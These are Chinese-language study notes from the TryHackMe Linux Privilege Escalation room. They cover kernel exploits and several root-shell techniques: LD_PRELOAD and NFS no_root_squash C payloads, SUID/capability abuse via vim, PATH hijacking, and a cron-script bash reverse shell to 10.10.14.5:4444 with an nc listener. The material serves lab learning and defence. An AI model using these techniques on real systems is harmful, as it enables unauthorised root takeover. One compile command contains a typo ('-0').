0%

TryHackMe-LinuxPrivilegeEscalation

知识点记录

  此文用于记录学习 TryHackMe 网站中 Room:Linux Privilege Escalation 获得的知识点。ƪ(˘⌣˘)ʃ

权限提升概述

  权限提升即通过系统或应用程序中的漏洞,从较低权限的帐户转到较高权限的帐户

通过内核漏洞提升权限

  内核漏洞利用方法:在确定当前 Linux 的的内核版本后,可以通过搜索并查找目标系统内核版本的漏洞利用代码,利用某些可行漏洞

  如何搜索现有漏洞利用代码:Google 搜索;CVEdetails.com;Exploit-db 搜索;searchsploit 搜索

  以下是做题时学到的知识点

  Linux主机之间传送文件:发送方使用命令python -m http.server,开放端口;接收方使用wget指令进行下载:wget http://<ip of sender>:8000/<filename>

  CVE-2015-1328漏洞:需求 Ubuntu 内核版本 3.13 至 3.19.0-21.21;影响的 Ubuntu 版本包括 Ubuntu 12.04/14.04/14.10/15.04;可实现本地非特权用户获得 root 权限,公开的漏洞利用代码在此ƪ(˘⌣˘)ʃ => CVE-2015-1328漏洞利用代码

通过设置LD_PRELOAD 生成具有root权限的shell

  前提条件:非特权用户在一些程序上拥有 sudo 权限,可以以 root 权限运行该程序;sudo 权限配置允许保留 LD_PRELOAD 环境变量,即/etc/sudoers 文件中包含如下配置:Defaults env_keep += LD_PRELOAD;Linux 安装了 gcc,使得其可以编译并运行 C 程序

  具体步骤

  第一步,我们需要编写如下的 C 代码,这些代码的作用是使得进程在获取 uid 时返回 0,即 root 用户的 uid,实现提权(这里我准备了两段,第二段使用时需要在 shell.c 目录下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 第一段
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
// 第二段
#include <unistd.h>
#include <stdio.h>

uid_t getuid(void) {
return 0;
}

  第二步,使用 gcc 将 shell.c 编译为共享库,指令为gcc -fPIC -shared -o shell.so shell.c [-nostartfiles]

  最后,使用sudo LD_PRELOAD=./shell.so <命令>,基于此技术可以使用的命令能够通过sudo -l得知

利用SUID文件进行权限提升

  SUID:SUID 是一种特殊的文件权限设置,允许普通用户以文件所有者(也可以使用 SGID,文件所有者所在组)的身份执行该文件;如果某个可执行文件设置了 SUID 位,并且该文件的所有者是 root 用户,那么普通用户在执行该文件时,将以 root 权限运行该程序

  具体步骤

  第一步,通过命令find / -type f -perm -04000 -ls 2>/dev/null找出所有被设置了 SUID 的可执行文件,观察是否有可以利用的命令

  第二步,根据可以使用的命令,查看/etc/shadow/etc/passwd,根据可以执行的指令,选择破解某账户的密码或新增 root 权限用户

  习题知识点:如果 Linux 主机为base64指令设置了 SUID,则可基于此查看/etc/shadow/etc/passwd并通过 base64 解码得到所有用户的账号及密码

利用Capabilities属性进行权限提升

  Capabilities属性:为特定二进制文件赋予的属性,在不给予非特权用户 sudo 权利的同时满足其使用该文件进行 root 权限才能办到的事

  具体步骤

  第一步,使用命令筛选出被设置了 Capabilities 属性的文件:getcap -r / 2>/dev/null

  根据结果,查找提权点,并编写相应代码(可使用GTFObins辅助)使用户获取 root 权限,比如下例

1
2
3
4
5
6
7
8
9
10
11
12
$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

=> 观察到vim指令存在setuid操作有设置Capabilities,利用此,可以编写代码,使本用户 uid=0 <=> root
$ vim -c ':!sh'

=> 这会打开一个root shell,接下来就可以为所欲为了

修改root定时任务进行权限提升

  Cron Jobs:是一种定时执行的可执行文件,默认运行权限同其任务设定的所有者相同;所有的这类可执行文件的配置被存于/etc/crontab文件中,该文件可被所有人读取

  具体流程

  第一步,使用可以使用的查看命令,查看/etc/crontab

  第二步,找到可以利用的提权点;比如,由 root 用户设置的,定时执行某可执行文件的指令,而目标文件可被非特权用户改写或被删除

  最后,基于上述条件,对指定的文件进行改写,比如通过使用如下 shell,可实现攻击机对受害机以 root 权限实施的操控

1
2
3
4
5
6
7
=> 受害机
echo '#!/bin/bash' > /home/karen/backup.sh
echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >> /home/karen/backup.sh
chmod +x /home/karen/backup.sh

=> 攻击机
nc -lvnp 4444

利用PATH环境变量进行权限提升

  PATH:Linux中的环境变量设置,对于未内置于 shell 中或未使用绝对路径定义的任何命令,Linux 将在 PATH 下定义的文件夹中进行搜索

  具体步骤:如下表依次进行

步骤 描述
查找可写目录 `find / -type d -writable 2>/dev/null
检查 PATH echo $PATH
添加可控目录到 PATH export PATH=/tmp:$PATH
放置恶意二进制 /tmp/thm
执行目标脚本或程序 执行含未使用绝对路径调用命令的 SUID 程序
提权成功 获取 root shell 或读取敏感文件

利用NFS进行权限提升

  NFS:是一种网络文件系统协议,允许用户通过网络访问远程主机上的文件,其配置保存于/etc/exports文件中

  NFS的工作原理:对服务器端,需配置并导出某个目录供客户端挂载;对客户端,将远程目录挂载到客户端某个目录,然后就可以像访问本地文件一样访问远程数据

  NFS配置记录解读:以下直接使用 ChatGPT 4o 给出的回复,<共享目录路径> <允许IP>(<选项1>,<选项2>,...)

📌 客户端标识方式(前缀部分)

  你可以指定哪些客户端有权限访问,比如:

客户端标识 含义
* 所有主机(不安全)
192.168.1.100 指定某个 IP
192.168.1.0/24 指定一个子网
client.example.com 通过主机名识别

🧩 常用选项说明(括号内的部分)

📖 读写权限控制
选项 含义
ro 只读权限(Read Only)
rw 读写权限(Read and Write)

🚨 通常为了安全,建议尽量使用 ro,除非真的需要写权限。


🧍 用户权限映射(身份映射)
选项 含义
root_squash 把客户端的 root 映射为低权限用户(默认行为)
no_root_squash 客户端的 root 保持 root 身份(⚠️ 极高危)
all_squash 所有用户都映射成匿名用户(适合匿名只读共享)
anonuid=UID 设置匿名用户的 UID(配合 squash)
anongid=GID 设置匿名用户的 GID

root_squash 是默认也是推荐的,no_root_squash 是危险操作,应避免使用。


💾 同步与性能选项
选项 含义
sync 所有数据操作同步写入磁盘后才响应,数据更安全(推荐)
async 提前响应写入请求,性能更好但数据可能丢失(不推荐)

📁 子目录检查
选项 含义
subtree_check 检查子目录权限是否符合导出要求(默认,稍慢)
no_subtree_check 不做子目录权限检查(性能更好,推荐)

💡 其他高级选项(可选)
选项 含义
insecure 允许客户端使用 1024 以上的非特权端口连接(不推荐)
secure 只接受客户端从特权端口发起的请求(默认)
nohide 允许客户端查看挂载在共享目录下的其他文件系统
crossmnt 允许跨挂载点共享子目录
fsid=0fsid=root 指定 NFSv4 的“根目录”,必须设置一个共享目录为根

  提权点所在:NFS 默认会启用属性root_squash,把客户端上的 root 用户映射成一个低权限用户(通常是 nfsnobody),从而避免远程 root 用户在 NFS 服务器上获得特权

  具体步骤

  第一步,在攻击机上查看目的机中可以挂载的共享文件夹,使用指令showmount -e 目的机IP

  第二步,在目的机中使用非特权用户读取/etc/exports,重点查看其中设置 no_root_squash 的文件夹

  第三步,将选定的文件夹挂载到攻击机,使用指令mount -o rw 目的机IP:所选文件夹路径 攻击机挂载路径

  第四步,在攻击机挂载路径下创建脚本,内容可如下

1
2
3
4
5
6
7
8
// nfs.c
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

  编译后,为该文件设置 SUID 属性,随后运行即可获取目的机 root 权限

1
2
3
4
5
gcc nfs.c -0 nfs -w
chmod +s nfs

=> 目的机进行
./nfs